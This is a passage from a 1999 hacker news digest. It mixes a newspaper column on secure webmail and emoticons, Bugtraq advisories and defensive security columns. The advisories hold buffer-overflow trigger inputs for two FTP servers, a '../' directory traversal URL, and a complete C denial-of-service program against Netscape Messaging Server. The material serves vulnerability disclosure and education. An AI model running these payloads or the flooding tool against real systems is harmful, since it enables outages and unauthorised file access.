       what you put on their servers is doubly protected from prying
       eyes. 
  
       Both HushMail http://www.hushmail.com and SAFe-mail.net
       http://www.safe-mail.net sell (actually, give away) peace of mind. 
  
       Both have simple, Web-based interfaces, not quite as robust as
       Outlook or Eudora but usable nonetheless. 
  
       Hush Mail resembles HotMail, with its display ads and
       membership solicitation attached to each message. 
  
       SAFe-mail.net has no such decoration. 
  
       HushMail has no frills, while SAFe-mail attempts to build a
       community, offering a chat room and bulletin boards. 
  
       SAFe-mail follows the now time-honored Internet tradition of
       providing free goods as a teaser for its paid service. 
  
       Explains company representative Ian Buller, "We will offer a
       chargeable service to organizations who want to outsource their
       secure communications or as a delivered system to organizations
       who want to host the server at their own location." 
  
       According to my unscientific test, the two services also differ in
       other ways: HushMail has a faster mail client interface, while
       SAFe-mail has a slightly faster delivery. 
  
       In fact, their usefulness is necessarily limited. The encryption
       works only on mail sent and received on their server. Cross their
       firewall, and it's just as open as any other system. 
  
       So in order for it to make a difference, all correspondence must
       take place on their server. Anywhere else, a HushMail or
       SAFe-net address is just an advertisement for security, the
       equivalent of a Brinks sign on the lawn of a house that doesn't
       have an alarm system. 
  
       Still, it's a little strange to see people get all worked up about
       e-mail security. 
  
       Protection of messages is equivalent to talking on the phone or
       having a "private" conversation in a restaurant. 
  
       Technology exists to eavesdrop, and anything you say on the
       phone could be coming out of a speaker somewhere. 
  
       But so what? The average conversations concern only the
       participants and their circle of associates. Who else really cares
       about what you are saying? 
  
       Bill Gates and Bill Clinton need to take appropriate measures, but
       the rest of us just need to be reasonably tactful and discreet. 
  
       Reader response: Mauri Pelto agreed with my
       emoticon-phobia, saying "the use of cutesy smiley faces and
       jargon only says to me the writer thinks of himself as pretty cool
       just because he has learned to use e-mail and needs to use the
       `in-language' of his new peer group to remind himself he's pretty
       cool. Content has become secondary to cutesiness." 
  
       But David P. Anderson disagreed - violently. After calling this
       column "a waste of newspaper space better spent on advertising"
       (ouch), he points out "these symbols have been in use for long
       enough to have their own name. In fact, they've been around
       longer than computers, how do you think disparate cultures learn
       to communicate? Or perhaps, you just figure they should learn
       English?" 
  
       Dave counsels me to "do a little research, find out why these
       things are done, before you decide that it's your job to tell us we
       shouldn't do them." 
  
       I think he is confused. It is not my "job" to tell anyone how to act.
       I only suggest that some aspects of e-mail behavior may be
       offensive or annoying. An extremist position - "emoticons are bad"
       - is only meant to push people toward more moderate behavior:
       "If I can prevent just one person from sending just one smiley
       face. ..." 
  
       And at the end of an amusing letter where each potential emoticon
       was explained in parentheses, Michael Cameron got to his point:
       "As a literary tool to avoid confusion, instill a bit of `humanity'
       back into your communications in this totally `cold and impersonal
       realm,' (emoticons) are priceless." 
  
       Charles Bermant's advice on e-mail appears weekly in the
       Personal Technology section of The Seattle Times. If you
       have questions or suggestions, you can contact him, by
       e-mail, at ptech@seatimes.com Type "Inbox" in the subject
       field. 
       
       @HWA
       
52.0  Celtech ExpressFS USER Buffer Overflow Vulnerability       
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      bugtraq id  749
      class       Boundary Condition Error
      cve         GENERIC-MAP-NOMATCH
      remote      Yes
      local       Yes
      published   October 29, 1999
      updated     October 29, 1999
      
      vulnerable
      
              Celtech Software ExpressFS 2.6
                 - Microsoft Windows 98
                 - Microsoft Windows 95
                 - Microsoft Windows NT 4.0
                 
      Celtech's ExpressFS FTP server has been found to be vulnerable by
      means of a buffer overflow. If an argument of sufficient length is passed
      after the USER command, the next command sent will cause it to crash           
            
      Credit
      Posted to bugtraq by Luciano Martins
      <luck@ussrback.com> On October 29, 1999.

      reference
      
      message:
               ExpressFS 2.x FTPServer remotely exploitable
               buffer overflow vulnerability
               (Luciano Martins <luck@ussrback.com>)
                     
       To: BugTraq
       Subject: ExpressFS 2.x FTPServer remotely exploitable buffer overflow vulnerability
       Date: Thu Oct 28 1999 19:04:40
       Author: Luciano Martins
       Message-ID: <NCBBKFKDOLAGKIAPMILPCEFNCAAA.luck@ussrback.com>
      
      
      ExpressFS 2.x FTPServer remotely exploitable buffer overflow vulnerability
      
      Problem:
      
      We found in the ExpressFS 2.x FTP Server and earlier a vulnerable to
      remotely exploitable buffer overflow. This can result in a denial of service
      and at worst in arbitrary code being executed on the system.
      
      The vulnerabilities are the conjunction of one long user name ,and another
      command in this case PASS, If this long command are passed in order program
      crash.
      
      Tested in: Windows 98 / Windows NT
      
      Example:
      
      First command
      
      USER
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
      Second command
      
      PASS i want you crash :)
      
      
      Crash.....Overflow.
      
      Published by: USSRBACK
      
      Luck Martins
      
      u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h
      www.USSRBACK.COM
      
      
      @HWA
      
53.0  Netscape Messaging Server RCPT TO DoS Vulnerability
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      bugtraq id  748
      class       Input Validation Error
      cve         GENERIC-MAP-NOMATCH
      remote      Yes
      local       Yes
      published   October 29, 1999
      updated     October 29, 1999
      
      vulnerable
      
              Netscape Messaging Server 3.6
              Netscape Messaging Server 3.55
              Netscape Messaging Server 3.54
              
      Netscape Messaging server will not de-allocate memory that is used to
      store the RCPT TO information for an incoming email. By sending
      enough long RCPT TO addresses, the system can be forced to
      consume all available memory, leading to a denial of service.              
      
      Example and exploit by Nobuo Miwa <n-miwa@lac.co.jp>

      220 victim.workgroup ESMTP server (Netscape Messaging Server -
      Version 3.62) ready Thu, 28 Oct 1999 12:13:17 +0900
      helo rcpt2
      250 victim.workgroup
      mail from : rcpt2
      250 Sender <rcpt2> Ok
      rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
      250 Recipient <rcpt2@aaaaaaaaaaaa....
      rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
      250 Recipient <rcpt2@aaaaaaaaaaaa....

      Repeat until DoS 
      
      
      /***************************************************************
       You can test "YOUR" Netscape Messaging Server 3.6SP2 for NT
       whether vulnerable for too much RCPT TO or not. 
                        by Nobuo Miwa, LAC Japan  28th Oct. 1999 
                        http://www.lac.co.jp/security/ 
      ****************************************************************/
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      
      #define    STR_HELO      "HELO rcpt2\n"
      #define    STR_MAILFROM  "MAIL FROM:rcpt2\n"
      #define    RCPT2_LENGTH  8000
      #define    RCPT2_NUMBER  10000
      
      int openSocket(struct sockaddr_in *si, char *hostIPaddr)
      {
          int             port=25, sd, rt ;
          long            li ;
          struct hostent  *he;
      
          si->sin_addr.s_addr = inet_addr(hostIPaddr);
          si->sin_family      = AF_INET;
          si->sin_port        = htons (port);
          sd = socket (si->sin_family, SOCK_STREAM, 0);
          if (sd == -1) return (-1);
      
          rt = connect(sd,(struct sockaddr *)si,sizeof(struct sockaddr_in));
          if ( rt < 0 ) {
             close(sd);
             return(-1);
          }
      
          return(sd) ;
      }
      
      void sendRCPT2(int sd)
      {
          char    rcptStr[RCPT2_LENGTH], tmpStr[RCPT2_LENGTH+80], strn[80];
          int     rt, i;
      
          memset( tmpStr, 0, sizeof(tmpStr) ) ;
          recv( sd, tmpStr, sizeof(tmpStr), 0 );
          printf("%s",tmpStr);  
      
          printf("%s",STR_HELO);
          send( sd, STR_HELO, strlen(STR_HELO), 0 );
          memset( tmpStr, 0, sizeof(tmpStr) ) ;
          rt = recv( sd, tmpStr, sizeof(tmpStr), 0 );
          if ( rt>0 ) printf("%s",tmpStr);
      
          printf("%s",STR_MAILFROM);
          send(sd, STR_MAILFROM, strlen(STR_MAILFROM), 0);
          memset( tmpStr, 0, sizeof(tmpStr) ) ;
          rt = recv(sd, tmpStr, sizeof(tmpStr), 0);
          if ( rt>0 ) printf("%s",tmpStr);
      
          strcpy( rcptStr, "RCPT TO: rcpt2@" ) ;
          while ( RCPT2_LENGTH-strlen(rcptStr)>10 )
              strcat( rcptStr, "aaaaaaaaaa") ;
          strcat( rcptStr, "\n" );
          for ( i=0 ; i<RCPT2_NUMBER ; i++ ) {
              printf("No.%d RCPT TO:rcpt2@aaa.. len %d\n",i,strlen(rcptStr));
              send( sd, rcptStr, strlen(rcptStr), 0 );
              rt = recv( sd, tmpStr, sizeof(tmpStr)-1, 0 );
              strncpy( strn, tmpStr, 60 ) ;
              if ( rt>0 ) printf("%s \n",strn);
          }
      
          return;
      }
      
      int main (int argc, char *argv[])
      {
          char                 hostIPaddr[80], *cc, *pfft;
          int                  sd = 0;
          struct sockaddr_in   si;
      
          printf("You can use ONLY for YOUR Messaging Server 3.6\n");
          if (argc != 2) {
              printf("Usage: %s IPaddress \n",argv[0]);
              exit(1);
          } else
              strcpy (hostIPaddr, argv[1]);
      
          sd = openSocket(&si,hostIPaddr);  
      
          if (sd < 1) {
              printf("failed!\n");
              exit(-1);
          }
      
          sendRCPT2( sd );
          close (sd);
      
          exit(0);
      }
      
      
      Netscape has stated a release date of December 1999 for Messaging
      Server 4.15, which will not include this vulnerability.
      
      Credit
      Posted to Bugtraq October 29 by Nobuo Miwa
      <n-miwa@lac.co.jp>.

      reference
       
       message:
               Netscape Messaging Server RCPT TO vul.
               (Nobuo Miwa <n-miwa@lac.co.jp>)
               
      @HWA
      
54.0  WFTPD Remote Buffer Overflow Vulnerability                 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      bugtraq id   747
      class        Boundary Condition Error
      cve          GENERIC-MAP-NOMATCH
      remote       Yes
      local        No
      published    October 28, 1999
      updated      October 28, 1999
      
      
      vulnerable
      
              Texas Imperial Software WFTPD 2.40
                 - Microsoft Windows 3.11WfW
                 - Microsoft Windows 3.11
                 - Microsoft Windows 3.1
                 - Microsoft Windows 98
                 - Microsoft Windows 95
                 - Microsoft Windows NT 4.0
                 - Microsoft Windows NT 3.5.1
                 - Microsoft Windows NT 3.5
              Texas Imperial Software WFTPD 2.34
                 - Microsoft Windows 3.11WfW
                 - Microsoft Windows 3.11
                 - Microsoft Windows 3.1
                 - Microsoft Windows 98
                 - Microsoft Windows 95
                 - Microsoft Windows NT 4.0
                 - Microsoft Windows NT 3.5.1
                 - Microsoft Windows NT 3.5
                 
      There is a remotely exploitable buffer overflow vulnerability in WFTPD that is known to affect
      versions 2.34 and 2.40. The overflow exists in the MKD and CWD commands, which if
      argumented with long strings in the right order, can overrun the buffer and allow for aribtrary
      code execution on the target host. 

      This is from the BugTraq posting:

      First command

      MKD
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaa

      Second command

      CWD
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaa

      Crash.....Overflow.                 
      
      credit
      First posted to BugTraq by Luciano Martins
      <luck@ussrback.com> on Oct 28, 1999.

      reference
      
      web page:
               WTFPD Homepage
               (Texas Imperial Software)
      message:
               WFTPD v2.40 FTPServer remotely exploitable
               buffer overflow vulnerability
               (Luciano Martins <luck@ussrback.com>)

               
      
      
       To: BugTraq
       Subject: WFTPD v2.40 FTPServer remotely exploitable buffer overflow vulnerability
       Date: Wed Oct 27 1999 19:07:55
       Author: Luciano Martins
       Message-ID: <NCBBKFKDOLAGKIAPMILPOEFBCAAA.luck@ussrback.com>
      
      
      We found in the WFTPD v2.34,v2.40 Server and earlier a vulnerable to
      remotely exploitable buffer overflow. This can result in a denial of service
      and at worst in arbitrary code being executed on the system.
      
      The vulnerabilities are the conjunction of two large commands the MKD and
      CWD  if they are passed an argument a string exact of  255 characters, If
      this 2 large commands are passed in order program crash.
      Tested in: Windows 98 / Windows Nt
      
      Example:
      
      First command
      
      MKD
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaa
      
      Second command
      
      CWD
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
      aaaaaaaaaaaaaaaaaaaaaaaaaaa
      
      Crash.....Overflow.
      
      
      Luck Martins
      
      u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h
      WWW.USSRBACK.COM
      
      
      
55.0  Pacific Software URL Live! Directory Traversal vulnerability
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      bugtraq id    746
      class         Unknown
      cve           GENERIC-MAP-NOMATCH
      remote        Yes
      local         Yes
      published     October 28, 1999
      updated       October 28, 1999
      
      
      vulnerable   Pacific Software URL Live! 1.0
      
                 - Microsoft Windows 98
                 - Microsoft Windows 95
                 - Microsoft Windows NT 4.0
                 
       The URL Live! free webserver from Pacific software is susceptible to the
       "../" directosy traversal vulnerability. By using the '../' string in a URL, an
       attacker can gain read access to files outside the intended web file
       structure.          
                 
       Example:
       http ://xyz.com/../../../config.sys
       
       credit
       Posted to Bugtraq by UNYUN
       <shadowpenguin@backsection.net> on October 28, 1999.

      reference
       web page:
       
               URL Live! - A Free HTTP Server by PSPINC
               (Pacific Software)
               http://www.urllive.com/
               
       message:
               URL Live! 1.0 WebServer
               (UNYUN <shadowpenguin@backsection.net>)
               
               
      @HWA         


56.0  InfoSec for Dummies Parts I and II
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
      INFOSEC by Dummies - Part I
  
  
      
      Part one of a four part series by John Johnson
      
      October 28, 1999 - Mix some programming code, state-of-the-art hardware, 
      network connections, nerds of all shapes and sizes, hackers, viruses, 
      firewalls, application software, Internet access, World Wide Web sites, 
      and a little oregano, and you will find yourself either at a Microsoft 
      TechNet conference or the front-line of the information security (INFOSEC) 
      battlefield. I want to go on record that I admire, respect, and will 
      always seek guidance from the many men and women that devote their careers 
      to the information technology profession. I do not blame them in their 
      approach to security professionals as "the bad guys trying to shut down 
      their networks or implement so many security features that the network 
      slows down to a crawl at 10,000 micro bits per second speed." There are 
      many security professionals that are trying to educate information 
      technology people about the threats and vulnerabilities of networks that 
      the real bad guys take advantage of to interfere with the proper function 
      of the network and the information systems connected to it. However, I 
      want to emphasize that security professionals working in the information 
      security field are providing support services to information technology, 
      not vice versa. The bottom-line mission is that information networks and 
      systems function properly without any loss to confidentiality, integrity, 
      or availability. Most information management personnel are busy 
      maintaining networks and system access, with little time left to audit 
      access control logs and ensure security features enabled function 
      properly. Security patches are implemented when personnel are notified, 
      but security is given the last consideration. The one positive area that 
      both information technology and security professionals are able to work 
      closely and effectively is increasing user awareness of computer security 
      issues. That partnership and coordination helps to develop a stronger 
      working relationship for security support to information technology 
      personnel. As compliance with the Y2K millennium bug problem is resolved, 
      the next priority focus will be computer security. Some approaches to 
      security problems will be technology-based, but there will remain both 
      non-technical problems and security issues that technology cannot address 
      alone. Personnel security, social engineering, application of law and 
      ethics in conducting investigations, the principles of physical security, 
      and contingency planning are examples of such non-technical issues and 
      problems facing information management. Social engineering is one such 
      non-technical problem that existed long before computers. Many of us with 
      an intelligence background were aware of social engineering techniques for 
      many years. Helping raise user awareness of these techniques and 
      countermeasures to employ is one of the many ways security professionals 
      assist information technology personnel. Security professionals with 
      technical understanding of networks and various protocols that computers 
      use to communicate with each other, is the growing area of support that 
      information security, as part of information assurance, is evolving. But 
      more work is needed and the information assurance field is addressing 
      those issues, both in developing countermeasures to threats and 
      vulnerabilities and by proactively planning protective measures for the 
      networks of tomorrow. Security safeguards are intended as procedures and 
      systems designed to protect an organization's ability to perform its basic 
      business function, not be an obstacle to prevent it. I know many people 
      perceive "security" as problem to overcome or ignore. However, from an 
      operational standpoint, the purpose of security measures is to ensure 
      business success. Stay tuned for the rest of the series: Part Two: Who is 
      in charge? What needs to be protected? Part Three: Detailed laundry list 
      of your vulnerabilities Part Four: What is your INFOSEC disaster recovery 
      plan? 
      John D. Johnson is a security consultant based in California and a former 
      Special Security Officer with the U.S. Government.
      
      
      
      
      
      
      
      
      
      
      
      INFOSEC by Dummies - Part II
  
  
  
      October 29, 999 -
      
      Security is a managerial responsibility; in other words, both 
      senior managers and supervisors are responsible for exercising security in 
      their overall and day-to-day operations. For example, is it the shop 
      supervisor's responsibility or the safety officer's at the corporate level 
      if an employee removes safety features off their equipment and then 
      subsequently gets injured? Who is in charge of the employee? The same 
      concept applies to security. Maintaining the security of an organization's 
      computers required for business is part of business management. Who is 
      responsible for the business management of their personnel? The supervisor 
      and senior manager of the individual or the company security manager? 
      Company security managers are responsible for overseeing the security 
      process and coordinate requirements to accomplish it, they are not 
      responsible for the business functions of company personnel. Rather they 
      are there to assist the supervisor and senior manager in accomplishing the 
      security portion of computer operations. While a senior manager has an 
      overall responsibility for security (like they have for everything else), 
      they obviously cannot perform all the tasks required. Key personnel 
      (including supervisors at all levels) and employees must implement 
      security procedures to ensure protective measures actually work. What 
      needs to be protected? We are increasingly becoming dependent on modern 
      technology that makes us all more productive. Any disruption to that 
      production limits our ability to get the job done. As I mentioned earlier, 
      information systems and networks operate properly when effective security 
      measures (both technical and procedural) are implemented that protect the 
      confidentiality, integrity, and availability of our information and 
      equipment. Confidentiality is protection from unauthorized disclosure; 
      integrity is protection from unauthorized change or destruction; and, 
      availability is protection that ensures that information and equipment are 
      accessible to authorized users when they need it. Easier said than done, 
      but we must try or else suffer the consequences of losing our information 
      or systems that we need to accomplish our work. Why security? The most 
      obvious answer is to comply with laws and company policies that require we 
      take protective measures to safeguard company data and equipment as well 
      as our personnel. But there is more. We need to provide protection of our 
      information and operations to get our work done. We need to protect the 
      privacy of individuals. Protection of information systems permit 
      management at all levels to make sound business decisions on accurate and 
      timely information. We protect our jobs when we keep pace with technology 
      to implement countermeasures that address new vulnerabilities and threats. 
      We also maintain and improve the integrity and reputation of our 
      organization. Facts Let review some facts. Fact: computers are critical to 
      fulfilling your job or supporting your job. Fact: computers are 
      vulnerable. Weaknesses in an information system or components (procedures; 
      hardware designs; internal controls, software bugs; etc.) could be 
      exploited. Fact: there are defined threats to your computer system. While 
      the media highlights stories about hackers, Chinese spies, and 
      intelligence agency Big Brother tactics, the reality is that the insider 
      threat, including accidents and mistakes, is the growing threat and that 
      people place convenience over security in their day-to-day lives. What is 
      information security? The protection of information in all formats, 
      including electronic, hardcopy, magnetic media, etc., against unauthorized 
      access to or modification or destruction of information, whether in 
      storage, processing or transit (across a network), and against the denial 
      of service to authorized users or providing service to unauthorized users, 
      including those measures necessary to detect, document and counter such 
      threats. I love short federal government definitions. Bad things that can 
      happen Undesirable events that can happen are disclosure of sensitive 
      information, modification of information, destruction of data, 
      unauthorized use of data or information (including by an insider), and 
      denial of service to authorized users. How many of you ever think about 
      overhead water sprinklers soaking your computer equipment reacting to a 
      false fire alarm late at night? How many of you who send credit card data 
      over your AOL account really think it is safe? Do we ever leave home 
      without our American Express cards anymore? What are some of the 
      vulnerabilities that computers have? How about the absence of contingency 
      plans, poor user security awareness and training, software errors, poor 
      password selection, vague laws or regulations about computer security 
      overall, open systems, lack of security standardization in the information 
      technology world, poor or limited defenses against automated attacks, and 
      social engineering techniques. Yes, Virginia, there are risks to using 
      computers. But we must use them. The best we can do is use security 
      countermeasures to help reduce that risk. Increasing threat awareness 
      training is our number one countermeasure to solving the long-term 
      computer security problem. Today, a typical computer can be turned on by 
      anyone, operated by anyone, opened up by anyone, and carried off by 
      anyone. The computer doesn't check your ID when you come up to it. A major 
      reason for the lack of threat awareness by people is the failure to grasp 
      what can be lost through security breaches. Stay tuned for the rest of the 
      series: Part One: Introduction Part Two: Who is in charge? What needs to 
      be protected? Part Three: Detailed laundry list of your vulnerabilities 
      coming November 4 Part Four: What is your INFOSEC disaster recovery plan? 
      coming November 5 John D. Johnson is a security consultant based in 
      California and a former Special Security Officer with the U.S. Government.

      @HWA
                                                               
57.0  Thwarting the systems cracker parts 1 to 6
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Thwarting the System Cracker, Part 1

      by Marcel Gagné <mggagne@salmar.com>                           23-Sep-1999 

      Welcome to your weekly dose of System Administration. 

      Before we dive headlong into this week's topic, allow me a quick 
      introduction. This column is the first of a weekly series in which I 
      intend to tackle stories and ideas that are near and dear to the Linux 
      system and network administrator's heart. My plan is to       address 
      issues for users of all levels--from the person who was made administrator 
      because he or she dared admit they "knew a little about computers" (often 
      followed with "Congratulations! You are now in charge of the entire 
      company's IT well-being.") to the experienced, married-to-the-job systems 
      and network people who go home and dream about print queues, system 
      performance, resource management, and penguins. That said, I invite 
      readers to e-mail me (mggagne@salmar.com) and let me know what topics you 
      would like to see covered that relate to the care and feeding of Linux 
      servers and how to keep them healthy and happy. As time goes on, I'll try 
      to deal with as many of those issues as I can.

      'Nuff said! Let's move on to this week's topic: the growing scourge of the 
      network cracker ...

      In the last few months, I've answered an increasing number of calls from 
      people whose systems have been cracked. Usually they're not aware of this, 
      and the call starts out more like: "There seems to be something wrong with 
      my e-mail. Could you have a look at       it?" I log on, do a quick look 
      around and see his footprints everywhere. A wily cracker has struck again.

      When you set up your Linux system, you brought up a powerful, high-level, 
      multi-tasking network operating system--one that was maybe a little too 
      powerful. Out of the box, some distributions start a large number of 
      services (rlogind, inetd, httpd, innd, fingerd,       timed, rhsd, and 
      others). Do you know what they all are? I do. As Sys Admin, you've got 
      enough things to worry about, such as that hung printer, but if your 
      machine is exposed to the Internet, you should pay particular attention.

      Most crackers don't tend to be innovators. They use the latest distributed 
      exploits (programs and/or techniques) to break through a well-known or 
      recently uncovered security hole in your system. The good news is that 
      you, as a security administrator, are just as       capable of becoming 
      aware of these exploits. Regular visits to your Linux distribution web 
      site such as Red Hat or Caldera Systems are a good way to stay on top of 
      the latest patches to stop those exploits. While you're at it, find out 
      about the exploits themselves by checking out the bugtraq forum or CERT, 
      to name just a couple. Innovators or not, cracking a system is made so 
      much easier if the door to your server is left wide open.

      The simplest means of controlling access (short of turning off your 
      machine) is through a program called a TCP wrapper. Odds are you loaded it 
      as part of your system install. Using the wrapper, we can restrict access 
      to some of those services I mentioned       earlier. Best of all, the 
      wrapper logs attempts to gain entry to your system, so you can track who 
      is testing the locks on your virtual doors. If you do not need to have 
      people logging in to your system (using telnet or rlogin), then you should 
      close the door to remote access by adding this line to your 
      /etc/hosts.deny file:

      ALL:ALL

      The first ALL refers to all services. The second ALL refers to everybody. 
      Nobody gets in. Y'hear?

      Now, we should probably let the people on your internal network have 
      access (no?). I'll pretend you've set up your LAN with the approved 
      internal network addressing scheme as detailed in RFC 1918 (What's an RFC? 
      Hmm ... we do have a lot to cover.) I'll       use a class C network at 
      192.168.1x for our example. We'll also add your localhost (127.0.0.1) 
      network. Here's the hosts.allow entry:

      ALL: 127.0.0.1
      
      ALL: 192.168.1.
      
      Yes, that's right. There's a dot after the one and nothing else. Now 
      everyone in the 192.168.1.whatever network can get in to your system. Now, 
      restart your inetd process.

      /etc/rc.d/init.d/inet restart

      Safe, right? Not exactly. The hosts.deny file controls access only to 
      services listed in /etc/inetd.conf and wrapped by /usr/bin/tcpd, your TCP 
      wrapper. The wrapper looks at incoming network requests, compares them to 
      what is in your hosts.allow and       hosts.deny files, and makes a yes or 
      no decision on what to allow through. You could be running services not 
      covered by the wrapper, or you may not have had the wrapper configured and 
      our cracker has already gotten through. How can you tell? How can you make 
      your system even more secure?

      More on that next week. Until then, fix that printer, will you?

      Thwarting the System Cracker, Part 2

      by Marcel Gagné <mggagne@salmar.com>                        4-Oct-1999 

      Reading the trail: what a TCP wrapper can tell you. 

      Hello everyone. Thanks for coming back. Thanks also for the enormous 
      feedback on last week's article. The vast majority seemed to appreciate my 
      "start small and work your way up" approach to administration. While 
      security administration may seem like an       enormous topic to start 
      with, I thought it was important enough to cover now rather than later. As 
      mentioned, I will take all comments into consideration and try to gear 
      this series around the majority of those suggestions. 

      Last week, I provided some insight into the simplest method of protecting 
      your system, the TCP wrapper. Your Linux system does a great job of 
      tracking access through its system logs, and denying access through the 
      wrapper means you've just added some       useful information to those 
      logs. Change to the /var/log directory and list the files there with ls.

          # cd /var/log           # ls

      Here's a sample of what you should see there.

       boot.log  cron cron.1    cron.2    dmesg     httpd        lastlog   
       lastlog.1      maillog   maillog.1 maillog.2 messages  messages.1     
       netconf.log   netconf.log.1 netconf.log.2  secure    secure.1  secure.2 
       secure.3  secure.4  spooler   spooler.1 spooler.2 uucp      wtmp      
       wtmp.1    xferlog   xferlog.1 xferlog.2 

      Notice how the various log files have a dot-1, 2, 3, or dot-4 extension. 
      This happens on a regular basis when your system runs its cron.daily 
      files. Actually, cron.daily is a directory under /etc and contains a 
      number of administration scripts that your system runs       
      automatically. Without you lifting a finger, Linux uses these scripts to 
      keep things tidy, such as rotating your log files so they don't grow to 
      enormous proportions (like in the old days of UNIX, when I had to walk 14 
      miles to school uphill in both directions and had to do my own log file 
      pruning). 

      Have a look at those cron jobs, and familiarize yourself with what happens 
      there. These are text files--you can more them, or vi, or read them in 
      emacs. While you are at it, notice that the system also has a cron.hourly, 
      cron.weekly, and cron.monthly. A couple       of those directories may be 
